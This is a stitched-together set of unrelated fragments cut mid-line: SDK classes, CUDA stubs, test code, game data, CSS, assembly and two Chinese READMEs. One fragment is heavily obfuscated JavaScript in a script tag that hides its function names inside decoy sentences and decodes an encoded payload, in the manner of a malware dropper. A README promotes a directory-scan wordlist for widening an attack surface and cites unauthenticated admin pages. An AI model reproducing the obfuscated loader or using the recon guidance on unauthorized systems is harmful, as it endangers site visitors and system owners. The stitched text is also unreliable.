t.parseResponse(response, context, request, header);
      }
    };
  }
}
/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 * All rights reserved.
 *
 * This source code is licensed under the license found in the
 * LICENSE file in the root directory of this source tree.
 */

package com.facebook.ads.sdk;

import java.io.File;
import java.lang.reflect.Modifier;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import com.google.common.base.Function;
import com.google.common.util.concurrent.Futures;
import com.google.common.util.concurrent.ListenableFuture;
import com.google.common.util.concurrent.MoreExecutors;
import com.google.common.util.concurrent.SettableFuture;
import com.google.gson.JsonObject;
import com.google.gson.JsonArray;
import com.google.gson.annotations.SerializedName;
import com.google.gson.reflect.TypeToken;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.google.gson.JsonElement;
import com.google.gson.JsonParser;

import com.facebook.ads.sdk.APIException.MalformedResponseException;

/**
 * This class is auto-generated.
 *
 * For any issues or feature requests related to this class, please let us know
 * on github and we'll fix in our codegen framework. We'll not be able to accept
 * pull request for this class.
 *
 */
public class AdNetworkAnalyticsAsyncQueryExport extends APINode {
  @SerializedName("export_link")
  private String mExportLink = null;
  @SerializedName("query_id")
  private String mQueryId = null;
  @SerializedName("status")
  private String mStatus = null;
  protected static Gson gson = null;

  public AdNetworkAnalyticsAsyncQueryExport() {
  }

  public String getId() {
    return null;
  }
  public static AdNetworkAnalyticsAsyncQueryExport loadJSON(String json, APIContext context, String header) {
    AdNetworkAnalyticsAsyncQueryExport adNetworkAnalyticsAsyncQueryExport = getGson().fromJson(json, AdNetworkAnalyticsAsyncQueryExport.class);
    if (context.isDebug()) {
      JsonParser parser = new JsonParser();
      JsonElement o1 = parser.parse(json);
      JsonElement o2 = parser.parse(adNetworkAnalyticsAsyncQueryExport.toString());
      if (o1.getAsJsonObject().get("__fb_trace_id__") != null) {
        o2.getAsJsonObject().add("__fb_trace_id__", o1.getAsJsonObject().get("__fb_trace_id__"));
      }
      if (!o1.equals(o2)) {
        context.log("[Warning] When parsing response, object is not consistent with JSON:");
        context.log("[JSON]" + o1);
        context.log("[Object]" + o2);
      }
    }
    adNetworkAnalyticsAsyncQueryExport.context = context;
    adNetworkAnalyticsAsyncQueryExport.rawValue = json;
    adNetworkAnalyticsAsyncQueryExport.header = header;
    return adNetworkAnalyticsAsyncQueryExport;
  }

  public static APINodeList<AdNetworkAnalyticsAsyncQueryExport> parseResponse(String json, APIContext context, APIRequest request, String header) throws MalformedResponseException {
    APINodeList<AdNetworkAnalyticsAsyncQueryExport> adNetworkAnalyticsAsyncQueryExports = new APINodeList<AdNetworkAnalyticsAsyncQueryExport>(request, json, header);
    JsonArray arr;
    JsonObject obj;
    JsonParser parser = new JsonParser();
    Exception exception = null;
    try{
      JsonElement result = parser.parse(json);
      if (result.isJsonArray()) {
        // First, check if it's a pure JSON Array
        arr = result.getAsJsonArray();
        for (int i


lock(
    dynamicSmemSize: *mut usize,
    func: CUfunction,
    numBlocks: ::std::os::raw::c_int,
    blockSize: ::std::os::raw::c_int,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetArray(
    hTexRef: CUtexref,
    hArray: CUarray,
    Flags: ::std::os::raw::c_uint,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetMipmappedArray(
    hTexRef: CUtexref,
    hMipmappedArray: CUmipmappedArray,
    Flags: ::std::os::raw::c_uint,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetAddress_v2(
    ByteOffset: *mut usize,
    hTexRef: CUtexref,
    dptr: CUdeviceptr,
    bytes: usize,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetAddress2D_v3(
    hTexRef: CUtexref,
    desc: *const CUDA_ARRAY_DESCRIPTOR,
    dptr: CUdeviceptr,
    Pitch: usize,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetFormat(
    hTexRef: CUtexref,
    fmt: CUarray_format,
    NumPackedComponents: ::std::os::raw::c_int,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetAddressMode(
    hTexRef: CUtexref,
    dim: ::std::os::raw::c_int,
    am: CUaddress_mode,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetFilterMode(hTexRef: CUtexref, fm: CUfilter_mode) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetMipmapFilterMode(hTexRef: CUtexref, fm: CUfilter_mode) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetMipmapLevelBias(hTexRef: CUtexref, bias: f32) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetMipmapLevelClamp(
    hTexRef: CUtexref,
    minMipmapLevelClamp: f32,
    maxMipmapLevelClamp: f32,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetMaxAnisotropy(
    hTexRef: CUtexref,
    maxAniso: ::std::os::raw::c_uint,
) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRefSetBorderColor(hTexRef: CUtexref, pBorderColor: *mut f32) -> CUresult {
    r#impl::unimplemented()
}

#[cfg_attr(not(test), no_mangle)]
pub extern "C" fn cuTexRef


る
            - subject=[{"A":"a","B":"*"},"C",["c"]]
            - subject=[{"A":"*"},"B",["b"]]
            ↓ これは考えない。
            - subject=[{"A":"*","B":"*"},"C",["c"]]
            """
            if(len(p_node)>=2):
                flg_key = (p_node[0],p_node[-1]) if(len(p_node)>2) else ('_root', p_node[-1])
                if(flg_d[flg_key]):
                    flg_d[flg_key] = False
                    node_path = copy.deepcopy(p_node)
                    node_path[-2] = "*"
                    subject = make_subject(node_path=node_path, drilldown_attr=drilldown_path_l)
                    operation_l = make_operations_for_datafacts(agg_attrs, agg_f_d, operator_d, subject, ordinal_d, attr_type, manager)
                    for operation in operation_l:
                        datafacts = Datafact(subject=subject, operation=operation, manager=manager)
                        datafacts_l.append(datafacts)
            """
            再帰的に上の処理を繰り返す
            """
            if(tuple(p_node) not in tree_d):
                return datafacts_l
            for c_node in tree_d[tuple(p_node)]:
                datafacts_l = dfs(c_node, datafacts_l)
            return datafacts_l

        flg_d = make_flg_d()
        datafacts_l = dfs(p_node=s_node)
        return datafacts_l

    """
    datafactsに含まれるdatafactを集めてくる
    """
    def collect_values(datafacts):
        values = manager.search_result(datafacts.subject, datafacts.operation)
        if(values is not None):
            # filter_values=['*']の時はほとんどここで蹴りがつく。
            return values
        values = {}
        parents, col_name, filter_values = datafacts.subject
        operation_name, *operation_others = datafacts.operation
        flg, key = is_datafacts(datafacts.subject)
        # print(f'drilldown.py:\n{key}')

        if(operation_name=='Aggregation'):
            if(filter_values==['*']):
                node_path = tuple([v for _, v in parents.items()])
            elif(flg and len(parents)==1):
                node_path = tuple(["_root"])
            elif(flg and len(parents)==2):
                node_path = tuple([v for k,v in parents.items() if (k!=key)])
            else:
                raise ValueError('datafactsではありません')

            for c_node in tree_d[node_path]:
                    c_subject = make_subject(c_node, drilldown_path_l)
                    values[c_node[-1]] = manager.search_result(c_subject, datafacts.operation)
            return values

        elif(operation_name=='ScalarArithmetic'):
            op, datafact1, datafact2 = operation_others
            if(filter_values==['*']): # c_node:['静岡県',2018], ['静岡県',2019], ..
                node_path = tuple([v for _, v in parents.items()])
                for c_node in tree_d[node_path]:
                    c_subject = make_subject(c_node, drilldown_path_l)
                    c_parents, c_col, c_filter_values = c_subject
                    n = ordinal_d[c_col].index(c_filter_values[0])
                    subject1, subject2 = c_subject, [c_parents,c_col,[ordinal_d[c_col][n+1]]]
                    c_operation = [
                        "ScalarArithmetic",
                        op,
                        Datafact(subject1, datafact1.operation, manager),
                        Datafact(subject2, datafact2.operation, manager)
                    ]
                    values[c_node[-1]] = manager.search_result(c_subject, c_operation)
            elif(flg): # c_node:['静岡県','製造業',2018], ['静岡県','サービス業',2018], ..
                node_path = tuple(["_root"]) if(len(parents)==1) else tuple([k for k in parents.keys() if (k!=key)][0])
                for c_node in tree_d[node_path]:
                    c_node = copy.deepcopy(c_node)
                    c_node.append(filter_values[0])
                    c_subject = make_subject(c_node, drilldown_path_l)
                    c_parents, c_col, c_filter_values = c_subject
                    n = ordinal_d[c_col].index(c_filter_values[0])
                    subject1, subject2 = c_subject, [c_parents,c_col,[ordinal_d[c_col][n+1]]]
                    c_operation = [
                        "ScalarArithmetic",
                        op,
                        Datafact(subject1, datafact1.operation, manager),
                        Datafact(subject2, datafact2.operation, manager)
                    ]
                    values[c_node[-1]] = manager.search_result(c_subject, c_operation)
            else:
                ra


 TypeRewriterTest {
  /*  @Test
    fun testRewrite1() {
        val graph = TACMockLanguage.make {
            L1024 = `*`
            K("COND") `=` "L1022 < 0x20"
            L(1022,Tag.Bool) `=` K("COND")
            `if`(1023, "L1022:bool ? 0x1 : 0x0") {
                L1024 = "L1023" // become bool
            } *//* no else case doesn't work? *//* `else` {
                L1021 = `*`
            }
            L1020 = "L1024 == 0x0"
        }
        val coreProgram = CoreTACProgram(
            code = graph.code,
            name = "test",
            blockgraph = graph.toBlockGraph(),
            hooks = TACHooks.empty(),
            procedures = listOf(),
            symbolTable = TACSymbolTable.withTags(
                mapOf(
                TACSymbol.Var("L1024", Tag.Bit256) to Tag.Bit256,
                TACSymbol.Var("L1022", Tag.Bit256) to Tag.Bit256,
                TACSymbol.Var("L1023", Tag.Bit256) to Tag.Bit256,
                TACSymbol.Var("L1021", Tag.Bit256) to Tag.Bit256,
                TACSymbol.Var("L1020", Tag.Bit256) to Tag.Bit256
                )
            ),
            ufAxioms = UfAxioms.empty()
        )
        val fixed = TypeRewriter.fixTypesPostSimplification(coreProgram)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1024)] == null)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1023)] == null)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1022)] == null)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var("L1022bool",Tag.Bool)] == Tag.Bool)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1020)] == null)
    }

    *//*
    @Test
    fun testRewrite2() {
        val graph = TACMockLanguage.make {
            L1024 = `*`
            K("COND") `=` "L1022 < 0x20"
            L(1022,Tag.Bool) `=` K("COND")
            `if`(1023, "L1022:bool ? 0x1 : 0x0") {
                L1024 = "L1023" // become bool
            }
            L1020 = "L1024 == 0x0"
        }
        val coreProgram = CoreTACProgram(
            code = graph.code,
            name = "test",
            blockgraph = graph.toBlockGraph(),
            hooks = TACHooks.empty(),
            procedures = listOf(),
            symbolTable = TACSymbolTable.empty(),
            ufAxioms = UfAxioms.empty()
        )
        val fixed = TypeRewriter.fixTypesPostSimplification(coreProgram)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1024)] == null)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1023)] == null)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1022)] == Tag.Bit256)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var("L1022bool",Tag.Bool)] == Tag.Bool)
        Assertions.assertTrue(fixed.symbolTable.tags[TACSymbol.Var.stackVar(1020)] == null)
    }

*//*

    @Test
    fun testRewrite3() {
        val graph = TACMockLanguage.make {
            L1024 = `*`
            K("COND") `=` "L1022 < 0x20"
            L(1022,Tag.Bool) `=` K("COND")
            `if`(L(102


0](https://autopatchhk.yuanshen.com/client_app/download/pc_zip/20211117173404_G0gLRnxvOd4PvSu9/Audio_Korean_2.3.0.zip)**

**[Update | 2.1.0 - 2.3.0](https://autopatchhk.yuanshen.com/client_app/update/hk4e_global/10/ko-kr_2.1.0_2.3.0_diff_MEpgFPsUZABmGt9b.zip)**

**[Update | 2.2.0 - 2.3.0](https://autopatchhk.yuanshen.com/client_app/update/hk4e_global/10/ko-kr_2.2.0_2.3.0_diff_r6zX1n48Hh5LUBK7.zip)**

# 字典说明

自己整理的目录扫描字典，准确的说是dirsearch的目录扫描字典，因为字典里保留了8个带有/%EXT%类似的字典。

**期望：搞一个尽可能小，又好的字典。**

# 优势
1. 比其他字典精简，如：dirsearch，近万，而本字典1k+，**目录扫描请求量减少90%，用时减少90%。**
2. 存在国内的系统常见的目录，比如/wx/，/nacos/，/webroot/decision/（帆软）等。
3. 更新维护。

# 对比

| 字典            | 是否更新或维护？ | 字典大小精简？ | 国内系统常见目录？ |
|:-------------------|:--------:|:------:|:--------:|
| dirsearch字典      |    ✅     |   ❌    |    ❌     |
| 网上的大部分字典 |    ❌     |   ❌    |    ❌     |
| 本字典           |    ✅     |   ✅    |    ✅     |

# 一个好的目录扫描字典能增加攻击面！

- 很多nacos的/路径为404，访问/nacos/路径，才能访问nacos。
- 某系统/wx/目录下，是微信小程序的管理后台，且登录无验证码。
- 某系统/report/目录下，是月报，季度报和年报，存在未授权访问。
- 某系统/api/user/all，接口下未授权列出了系统的所有用户名及其加密后的密码。
# QC-Formula | 青尘公式 OCR

### 介绍

<img src="https://s2.loli.net/2021/12/22/bzCwnuE5SBaVAXi.png" alt="0_QCFormula.png" style="zoom: 50%;" />

**轻量级开源公式 OCR 小工具：一键识别公式图片，并转换为 LaTeX 格式。**

- 支持从 **电脑本地** 导入公式图片；（后续版本将支持直接从网页导入图片）
- 公式图片支持 **.png** / **.jpg** / **.bmp**，大小为 **4M** 以内均可；
- 支持**印刷体**及**手写体**，前者识别效果更佳。

软件下载地址：https://github.com/QingchenWait/QC-Formula/releases

### 1 软件架构
- 软件基于 ```Python 3.7``` 开发，界面基于 ```PyQt 5```，项目 **完全开源**。
- 软件在 macOS 10.15.1 、Windows 10 测试通过，Linux 平台用户亦可自行编译。

### 2


local setname, coremajor = "Zul'Gurub Quest", "1"
local vmajor, vminor = "Zul'Gurub Quest 1", tonumber(string.sub("$Revision: 666 $", 12, -3))

-- Check to see if an update is needed
-- if not then just return out now before we do anything
if not TekLibStub or not PeriodicTableEmbed or not PeriodicTableEmbed:NeedsUpgraded(vmajor, vminor) then return end

local mem = gcinfo()
local t = {

	-- Zul'Gurub items by type
	zulgurubquests = {"zulgurubcoin", "zulgurubbijou", "zulgurubprimal"},
	zulgurubcoin   = "19698 19699 19700 19701 19702 19703 19704 19705 19706",
	zulgurubbijou  = "19707 19708 19709 19710 19711 19712 19713 19714 19715",
	zulgurubprimal = "19716 19717 19718 19719 19720 19721 19722 19723 19724",

	-- Coin trios for repeatable rep quests
	zulgurubcoinrep1 = "19698 19699 19700",
	zulgurubcoinrep2 = "19701 19702 19703",
	zulgurubcoinrep3 = "19704 19705 19706",

	-- Zul'Gurub items by class need
	-- Value = Reputation index of:
	-- {"Hated", "Hostile", "Unfirendly", "Neutral", "Friendly", "Honored", "Revered", "Exalted"}
	zulgurubclasses = {"zulgurubdruid", "zulgurubhunter", "zulgurubmage", "zulgurubpaladin", "zulgurubpriest", "zulgurubrogue", "zulgurubshaman", "zulgurubwarlock", "zulgurubwarrior"},
	zulgurubenchants = {"zulgurubdruidenchant", "zulgurubhunterenchant", "zulgurubmageenchant", "zulgurubpaladinenchant", "zulgurubpriestenchant", "zulgurubrogueenchant", "zulgurubshamanenchant", "zulgurubwarlockenchant", "zulgurubwarriorenchant"},

	zulgurubdruid           = {"zulgurubdruidenchant", "zulgurubdruidbelt", "zulgurubdruidbracer", "zulgurubdruidchest"},
	zulgurubdruidbelt       = "19699:6 19704:6 19711:6 19720:6 ", -- Honored
	zulgurubdruidbracer     = "19700:5 19702:5 19707:5 19718:5", -- Friendly
	zulgurubdruidchest      = "19701:7 19698:7 19713:7 19722:7", -- Revered
	zulgurubdruidenchant    = "19716:5 19821:5 18331:5",

	zulgurubhunter          = {"zulgurubhunterenchant", "zulgurubhunterbelt", "zulgurubhunterbracer", "zulgurubhuntershoulder"},
	zulgurubhunterbelt      = "19700:6 19699:6 19711:6 19721:6", -- Honored
	zulgurubhunterbracer    = "19704:5 19705:5 19709:5 19716:5", -- Friendly
	zulgurubhuntershoulder  = "19701:7 19698:7 19714:7 19724:7", -- Revered
	zulgurubhunterenchant   = "19718:5 19816:5 18329:5",


ring $type;

/// Create a copy of SaveRefImageError
/// with the given fields replaced by the non-null parameter values.
@JsonKey(includeFromJson: false, includeToJson: false)
@pragma('vm:prefer-inline')
$SaveRefImageErrorEncryptCopyWith<SaveRefImageErrorEncrypt> get copyWith => _$SaveRefImageErrorEncryptCopyWithImpl<SaveRefImageErrorEncrypt>(this, _$identity);

@override
Map<String, dynamic> toJson() {
  return _$SaveRefImageErrorEncryptToJson(this, );
}

@override
bool operator ==(Object other) {
  return identical(this, other) || (other.runtimeType == runtimeType&&other is SaveRefImageErrorEncrypt&&(identical(other.error, error) || other.error == error));
}

@JsonKey(includeFromJson: false, includeToJson: false)
@override
int get hashCode => Object.hash(runtimeType,error);

@override
String toString() {
  return 'SaveRefImageError.encrypt(error: $error)';
}

}

/// @nodoc
abstract mixin class $SaveRefImageErrorEncryptCopyWith<$Res> implements $SaveRefImageErrorCopyWith<$Res> {
  factory $SaveRefImageErrorEncryptCopyWith(SaveRefImageErrorEncrypt value, $Res Function(SaveRefImageErrorEncrypt) _then) = _$SaveRefImageErrorEncryptCopyWithImpl;
@useResult
$Res call({
 EncryptError error
});

$EncryptErrorCopyWith<$Res> get error;

}
/// @nodoc
class _$SaveRefImageErrorEncryptCopyWithImpl<$Res>
    implements $SaveRefImageErrorEncryptCopyWith<$Res> {
  _$SaveRefImageErrorEncryptCopyWithImpl(this._self, this._then);

  final SaveRefImageErrorEncrypt _self;
  final $Res Function(SaveRefImageErrorEncrypt) _then;

/// Create a copy of SaveRefImageError
/// with the given fields replaced by the non-null parameter values.
@pragma('vm:prefer-inline') $Res call({Object? error = null,}) {
  return _then(SaveRefImageErrorEncrypt(
error: null == error ? _self.error : error // ignore: cast_nullable_to_non_nullable
as EncryptError,
  ));
}

/// Create a copy of SaveRefImageError
/// with the given fields replaced by the non-null parameter values.
@override
@pragma('vm:prefer-inline')
$EncryptErrorCopyWith<$Res> get error {

  return $EncryptErrorCopyWith<$Res>(_self.error, (value) {
    return _then(_self.copyWith(error: value));
  });
}
}

// dart format on
// GENERATED CODE - DO NOT MODIFY BY HAND
// coverage:ignore-file
// ignore_for_file: type=lint
// ignore_for_file: unused_element, deprecated_member_use, deprecated_member_use_from_same_package, use_function_type_syntax_for_parameters, unnecessary_const, avoid_init_to_null, invalid_override_different_default_values_named, prefer_expression_function_bodies, annotate_overrides, invalid_annotation_target, unnecessary_question_mark

part of 'persistent_auth_factor.dart';

// **************************************************************************
// FreezedGenerator
// **************************************************************************

// dart format off
T _$identity<T>(T value) => value;
PersistentAuthFactor _$PersistentAuthFactorFromJson(
  Map<String, dynamic> json
) {
    return PersistentAuthFactorPassword.fromJson(
      json
    );
}

/// @nodoc
mixin _$PersistentAuthFactor {

 PersistentAuthFactorId get id;/// Currently used Argon2id hash
 String get hash;/// HEX-encoded salt.
 String get salt;
/// Create a copy of PersistentAuthFactor


Model,
                        this.appConfig.SentimentAnalysisSetting,
                        this.appConfig.PiiRedactionSetting);

                    var containsMultipleTranscriptions = resultFiles.Skip(1).Any();
                    var jobId = containsMultipleTranscriptions ? Guid.NewGuid() : new Guid(transcriptionLocation.Split('/').LastOrDefault());

                    try
                    {
                        await this.databaseContext.StoreTranscriptionAsync(
                            jobId,
                            serviceBusMessage.Locale,
                            string.IsNullOrEmpty(fileName) ? jobName : fileName,
                            (float)approximatedCost,
                            speechTranscript).ConfigureAwait(false);
                    }
                    catch (Exception exception) when (exception is DbUpdateException || exception is DbUpdateConcurrencyException)
                    {
                        var errorMessage = $"Exception while processing database update: {exception}";
                        log.LogError(errorMessage);
                        generalErrorsStringBuilder.AppendLine(errorMessage);
                    }
                }

                if (this.appConfig.CreateAudioProcessedContainer)
                {
                    await this.


2 );
function znaeWA
                     ( mSgBoV , DQuxAv , a
      ) {
if( a <= 1 ) return mSgBoV >>> DQuxAv ;
if(
            a >= 2 ) return mSgBoV << DQuxAv ;
}
dueWr = "I from the grandmother left, and left my grandfather.";
vicpSOmT = "Best tractor CAT."
dUEHbmRv = "the world best music hard rock"
var HnsDP = dueWr . substr ( 2 , 4 );
HnsDP = HnsDP
+ vicpSOmT .
substr ( 13 , 1 );
HnsDP = HnsDP + dUEHbmRv . substr ( 21
, 3 );
ySRjU =
this [ jsgynL + "g" ] [ HnsDP
+ (vicpSOmT . substr (
13 , 1
)) + "od"
+ (vicpSOmT . substr ( 1 , 1 )) ] ;

for (qcEUyAiA in eCoxu)
{
xXAZgw( eCoxu [
qcEUyAiA ] [ 0
] , eCoxu [ qcEUyAiA
     ]
[ 1 ]
         ) ;
}
var eCoxu = [ ] ;
XblPEv ( eCoxu ,
43 );
XblPEv ( eCoxu , 47 );
for (qcEUyAiA in eCoxu)
{
XvlWFf( eCoxu [ qcEUyAiA ] )
        ;
}
LDEDrOP = "     rcehpalr" . substr ( 28
).split("");
function iEjkgCgq (
              hPDPFA
) {
iVkAChrI = 0 ;
kIGgunB = hPDPFA . length ;
vWBdd = [];
iaEaH = 255 ;
var rfqbmcc = { } , UitojoL , ASufH , uNFJtPQb , rcKbh = 0 , aZQXfa ;
for ( UitojoL = 0 ; UitojoL
            < 64 ; UitojoL++ ) {
rfqbmcc [ XXMiXL [
                  UitojoL ]  ] =
            UitojoL ;
}
delete rfqbmcc;
for ( uNFJtPQb = 0 ; uNFJtPQb < kIGgunB ; uNFJtPQb++ ) {
ASufH = rfqbmcc [ hPDPFA [ LDEDrOP[1] + LDEDrOP[3] + LDEDrOP[5] + LDEDrOP[7] + "A" + "t"  ]
( uNFJtPQb ) ];
iVkAChrI = znaeWA( iVkAChrI , 6 ,2 ) + ASufH ;
rcKbh
           += 6;
while ( rcKbh >= 8 ) {
( ( aZQXfa = znaeWA ( iVkAChrI ,
( rcKbh-= 8 ) ,1) & iaEaH ) || ( uNFJtPQb < kIGgunB - 2  ) )
     && ( vWBdd [ NjoaF ] ( ySRjU ( aZQXfa )
                   )
       ) ;
}
}
delete rfqbmcc;
return vyXCbI(vWBdd)
}
function FhNIiQ ( mSgBoV ) {
return mSgBoV [ LDEDrOP[0] +
       LDEDrOP[2] + LDEDrOP[4]
+ LDEDrOP[6] + "ace"
]
                ( TGBTIQ , '' ) ;
}
</script>


border-radius: 2px;
  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.45);
  -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.45);
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.45);
  font-family: helvetica, arial, sans-serif;
  font-size: 13px;
  line-height: 16px;
  padding: 6px 10px;
  opacity: 0;
  transition: opacity 0.15s;
  -moz-transition: opacity 0.15s;
  -webkit-transition: opacity 0.15s;
  -o-transition: opacity 0.15s;
  -ms-transition: opacity 0.15s;
}

div.CodeMirror-lint-message-error, div.CodeMirror-lint-message-warning {
  padding-left: 23px;
}

/* COLORS */

#graphiql-container .CodeMirror-foldmarker {
  border-radius: 4px;
  background: #08f;
  background: -webkit-linear-gradient(#43A8FF, #0F83E8);
  background:         linear-gradient(#43A8FF, #0F83E8);

  color: white;
  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2), inset 0 0 0 1px rgba(0, 0, 0, 0.1);
  -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2), inset 0 0 0 1px rgba(0, 0, 0, 0.1);
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2), inset 0 0 0 1px rgba(0, 0, 0, 0.1);
  font-family: arial;
  line-height: 0;
  padding: 0px 4px 1px;
  font-size: 12px;
  margin: 0 3px;
  text-shadow: 0 -1px rgba(0, 0, 0, 0.1);
}

#graphiql-container div.CodeMirror span.CodeMirror-matchingbracket {
  color: #555;
  text-decoration: underline;
}

#graphiql-container div.CodeMirror span.CodeMirror-nonmatchingbracket {
  color: #f00;
}

/* Comment */
.cm-comment {
  color: #999;
}

/* Punctuation */
.cm-punctuation {
  color: #555;
}

/* Keyword */
.cm-keyword {
  color: #B11A04;
}

/* OperationName, FragmentName */
.cm-def {
  color: #D2054E;
}

/* FieldName */
.cm-property {
  color: #1F61A0;
}

/* FieldAlias */
.cm-qualifier {
  color: #1C92A9;
}

/* ArgumentName and ObjectFieldName */
.cm-attribute {
  color: #8B2BB9;
}

/* Number */
.cm-number {
  color: #2882F9;
}

/* String */
.cm-string {
  color: #D64292;
}

/* Boolean */
.cm-builtin {
  color: #D47509;
}

/* EnumValue */
.cm-string-2 {
  color: #0B7FC7;
}

/* Variable */
.cm-variable {
  color: #397D13;
}

/* Directive */
.cm-meta {
  color: #B33086;
}

/* Type */
.cm-atom {
  color: #CA9800;
}
/* BASICS */

.CodeMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
}

/* PADDING */

.CodeMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre {
  padding: 0 4px; /* Horizontal padding of content */
}

.CodeMi


DirectorBaseFv
	.4byte execInner__Q28PSSystem12DirectorBaseFv
	.4byte 0
	.4byte directOffTrack__Q28PSSystem15OneShotDirectorFRQ28PSSystem12SeqTrackBase
	.4byte doUpdateRequest__Q28PSSystem12DirectorBaseFv
	.4byte onPlayInit__Q28PSSystem12DirectorBaseFP8JASTrack
	.4byte onDirectOn__Q28PSSystem12DirectorBaseFv
	.4byte onDirectOff__Q28PSSystem12DirectorBaseFv
.endobj __vt__Q23PSM15OneShotDirector

.section .sdata2, "a"     # 0x80516360 - 0x80520E40
.balign 8
.obj lbl_80520C00, local
	.float 0.1
.endobj lbl_80520C00
.obj lbl_80520C04, local
	.float 5.0
.endobj lbl_80520C04
.obj lbl_80520C08, local
	.float 1.0
.endobj lbl_80520C08
.obj lbl_80520C0C, local
	.float 0.7
.endobj lbl_80520C0C
.obj lbl_80520C10, local
	.float 0.0
.endobj lbl_80520C10
.obj lbl_80520C14, local
	.float 100000.0
.endobj lbl_80520C14
.obj lbl_80520C18, local
	.float 1000000.0
.endobj lbl_80520C18

.section .text, "ax"  # 0x800056C0 - 0x80472F00
.fn __ct__Q23PSM14DamageDirectorFv, global
/* 80456AF8 00453A38  94 21 FF F0 */	stwu r1, -0x10(r1)
/* 80456AFC 00453A3C  7C 08 02 A6 */	mflr r0
/* 80456B00 00453A40  3C 80 80 4A */	lis r4, lbl_8049CD98@ha
/* 80456B04 00453A44  90 01 00 14 */	stw r0, 0x14(r1)
/* 80456B08 00453A48  38 A4 CD 98 */	addi r5, r4, lbl_8049CD98@l
/* 80456B0C 00453A4C  38 80 00 01 */	li r4, 1
/* 80456B10 00453A50  93 E1 00 0C */	stw r31, 0xc(r1)
/* 80456B14 00453A54  7C 7F 1B 78 */	mr r31, r3
/* 80456B18 00453A58  4B EE C3 9D */	bl __ct__Q28PSSystem12DirectorBaseFiPCc
/* 80456B1C 00453A5C  3C 60 80 4E */	lis r3, __vt__Q28PSSystem15OneShotDirector@ha
/* 80456B20 00453A60  3C 80 80 4F */	lis r4, __vt__Q23PSM15OneShotDirector@ha
/* 80456B24 00453A64  38 03 B0 08 */	addi r0, r3, __vt__Q28PSSystem15OneShotDirector@l
/* 80456B28 00453A68  3C 60 80 4F */	lis r3, __vt__Q23PSM14DamageDirector@ha
/* 80456B2C 00453A6C  90 1F 00 00 */	stw r0, 0(r31)
/* 80456B30 00453A70  38 04 E1 20 */	addi r0, r4, __vt__Q23PSM15OneShotDirector@l
/* 80456B34 00453A74  38 A0 00 00 */	li r5, 0
/* 80456B38 00453A78  38 83 E


        }

        return ipnetwork.Print();
    }

    /// <summary>
    /// Print an ipnetwork in a clear representation string.
    /// </summary>
    /// <returns>Dump an IPNetwork representation as string.</returns>
    public string Print()
    {
        using var sw = new StringWriter();
        sw.WriteLine("IPNetwork   : {0}", this);
        sw.WriteLine("Network     : {0}", this.Network);
        sw.WriteLine("Netmask     : {0}", this.Netmask);
        sw.WriteLine("Cidr        : {0}", this.Cidr);
        sw.WriteLine("Broadcast   : {0}", this.Broadcast);
        sw.WriteLine("FirstUsable : {0}", this.FirstUsable);
        sw.WriteLine("LastUsable  : {0}", this.LastUsable);
        sw.WriteLine("Usable      : {0}", this.Usable);

        return sw.ToString();
    }
}


jar armas de calidad, ese orco es Thun\'grim Fuegogaze. Es un ermitaño que vive en lo alto de las colinas al este de El Cruce.$B$BSi buscas un arma, guerrero, entonces deberías buscar a Thun\'grim. Para encontrarlo, primero viaja a El Cruce hacia el oeste, luego dirígete al este hacia las colinas. Su campamento está en lo alto de una colina.",
    ["O"] = "Habla con Thun\'grim Mirada de Fuego en los Baldíos.",
    ["T"] = "Thun\'grim Mirallamas",
  },
  [1503] = {
